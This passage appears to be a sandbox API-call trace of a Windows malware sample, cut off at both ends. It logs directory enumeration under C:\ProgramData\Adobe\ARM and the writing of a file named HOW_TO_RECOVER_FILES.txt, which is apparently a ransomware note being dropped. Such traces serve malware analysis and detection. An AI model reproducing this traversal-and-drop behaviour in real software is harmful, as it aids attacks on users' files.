lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0070.078] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0070.078] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0070.078] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.078] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0070.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0070.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0070.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0070.078] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe", lpFilePart=0x0) returned 0x14 [0070.078] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.078] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.078] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0070.078] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0070.078] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0070.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0070.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0070.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0070.079] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe", lpFilePart=0x0) returned 0x14 [0070.079] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.079] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.079] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0070.079] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.079] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0070.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0070.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0070.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0070.079] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM", lpFilePart=0x0) returned 0x18 [0070.079] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0070.081] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.081] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.007.20033", cAlternateFileName="READER~1.200")) returned 1 [0070.081] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa7140105, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0070.081] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1 [0070.081] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 0 [0070.081] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0070.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0070.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0070.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0070.082] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM", lpFilePart=0x0) returned 0x18 [0070.082] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.083] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.007.20033", cAlternateFileName="READER~1.200")) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa7140105, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.083] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0070.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0070.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0070.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0070.084] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033", lpFilePart=0x0) returned 0x2c [0070.084] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0070.087] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.087] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.087] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0070.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0070.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0070.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0070.087] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033", lpFilePart=0x0) returned 0x2c [0070.087] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0070.087] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.087] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.087] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0070.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0070.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0070.087] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0070.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0070.087] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\adobe\\arm\\reader_15.007.20033\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0070.088] GetFileType (hFile=0x764) returned 0x1 [0070.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0070.088] GetFileType (hFile=0x764) returned 0x1 [0070.088] WriteFile (in: hFile=0x764, lpBuffer=0x3246ce0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3246ce0*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0070.089] CloseHandle (hObject=0x764) returned 1 [0070.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0070.090] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070", lpFilePart=0x0) returned 0x2c [0070.090] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.090] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.090] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.090] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0070.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0070.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0070.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0070.090] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070", lpFilePart=0x0) returned 0x2c [0070.090] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.090] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.090] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, 